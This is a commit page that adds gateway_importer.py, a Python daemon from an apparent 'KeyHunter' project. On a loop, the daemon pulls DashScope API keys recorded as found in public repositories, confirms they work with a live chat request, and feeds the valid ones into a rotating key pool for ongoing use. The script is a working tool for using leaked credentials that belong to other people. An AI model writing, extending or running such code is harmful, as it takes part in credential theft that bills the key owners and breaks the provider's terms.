KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
108
gateway_importer.py
Executable file
108
gateway_importer.py
Executable file
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/env python3
|
||||
"""gateway_importer.py — eternal lane: keys.db (KeyHunter) -> dashscope rotator pool.
|
||||
|
||||
Every cycle:
|
||||
1. Pull WORKING/FREE/LIMITED DASHSCOPE keys from keys.db
|
||||
2. Smoke-test new candidates (1-token chat) before import
|
||||
3. Dedup, atomic-write into dashscope_keys.json
|
||||
4. Rotator hot-reloads by mtime (no restart needed)
|
||||
|
||||
Run: python gateway_importer.py >> gateway_importer.log 2>&1
|
||||
"""
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import sys
|
||||
import time
|
||||
|
||||
import requests
|
||||
|
||||
KEYS_DB = r"C:/Users/User/Desktop/keyhunter/data/keys.db"
|
||||
POOL_PATH = r"C:/Users/User/.omp/agent/dashscope_keys.json"
|
||||
INTERVAL = 120 # seconds between cycles
|
||||
BASE = "https://dashscope.aliyuncs.com/compatible-mode/v1"
|
||||
GOOD_STATUS = ("WORKING", "FREE", "LIMITED")
|
||||
STALE_DAYS = 30 # skip keys not seen recently
|
||||
|
||||
|
||||
def log(msg: str) -> None:
|
||||
print(f"{time.strftime('%H:%M:%S')} {msg}", flush=True)
|
||||
|
||||
|
||||
def load_pool() -> dict:
|
||||
try:
|
||||
with open(POOL_PATH, encoding="utf-8-sig") as f:
|
||||
return json.load(f)
|
||||
except Exception:
|
||||
return {"keys": []}
|
||||
|
||||
|
||||
def save_pool(cfg: dict) -> None:
|
||||
tmp = POOL_PATH + ".importer.tmp"
|
||||
with open(tmp, "w", encoding="utf-8") as f:
|
||||
json.dump(cfg, f, indent=2, ensure_ascii=False)
|
||||
f.write("\n")
|
||||
os.replace(tmp, POOL_PATH)
|
||||
|
||||
|
||||
def fetch_candidates() -> list[tuple]:
|
||||
db = sqlite3.connect(f"file:{KEYS_DB}?mode=ro", uri=True)
|
||||
try:
|
||||
rows = db.execute(
|
||||
"""SELECT val, status, found, repo FROM keys
|
||||
WHERE prov = 'DASHSCOPE'
|
||||
AND status IN ('WORKING','FREE','LIMITED')
|
||||
AND val LIKE 'sk-%'
|
||||
AND found >= datetime('now', ?)""",
|
||||
(f"-{STALE_DAYS} days",),
|
||||
).fetchall()
|
||||
finally:
|
||||
db.close()
|
||||
return rows
|
||||
|
||||
|
||||
def smoke(key: str) -> bool:
|
||||
try:
|
||||
r = requests.post(
|
||||
BASE + "/chat/completions",
|
||||
headers={"Authorization": f"Bearer {key}"},
|
||||
json={"model": "qwen3.8-flash", "messages": [{"role": "user", "content": "hi"}], "max_tokens": 1},
|
||||
timeout=25,
|
||||
)
|
||||
return r.status_code == 200
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
|
||||
def main() -> None:
|
||||
log(f"[importer] start: db={KEYS_DB} pool={POOL_PATH}")
|
||||
while True:
|
||||
try:
|
||||
cfg = load_pool()
|
||||
pool_keys = set(cfg.get("keys") or [])
|
||||
rows = fetch_candidates()
|
||||
fresh = [(v, s, rep) for v, s, f, rep in rows if v not in pool_keys]
|
||||
log(f"[importer] candidates={len(rows)} new={len(fresh)} pool={len(pool_keys)}")
|
||||
added = 0
|
||||
for val, status, repo in fresh:
|
||||
if smoke(val):
|
||||
cfg.setdefault("keys", []).append(val)
|
||||
pool_keys.add(val)
|
||||
added += 1
|
||||
log(f"[importer] + {val[:14]}... ({status}) src={str(repo)[:40]}")
|
||||
save_pool(cfg) # save immediately: rotator picks up per key
|
||||
time.sleep(2)
|
||||
else:
|
||||
log(f"[importer] skip (smoke fail) {val[:14]}...")
|
||||
if added:
|
||||
log(f"[importer] pushed {added} keys -> pool={len(pool_keys)} (rotator hot-reload by mtime)")
|
||||
except Exception as e:
|
||||
log(f"[importer] ERROR {e!r}")
|
||||
time.sleep(INTERVAL)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
main()
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(0)
|
||||
Reference in New Issue
Block a user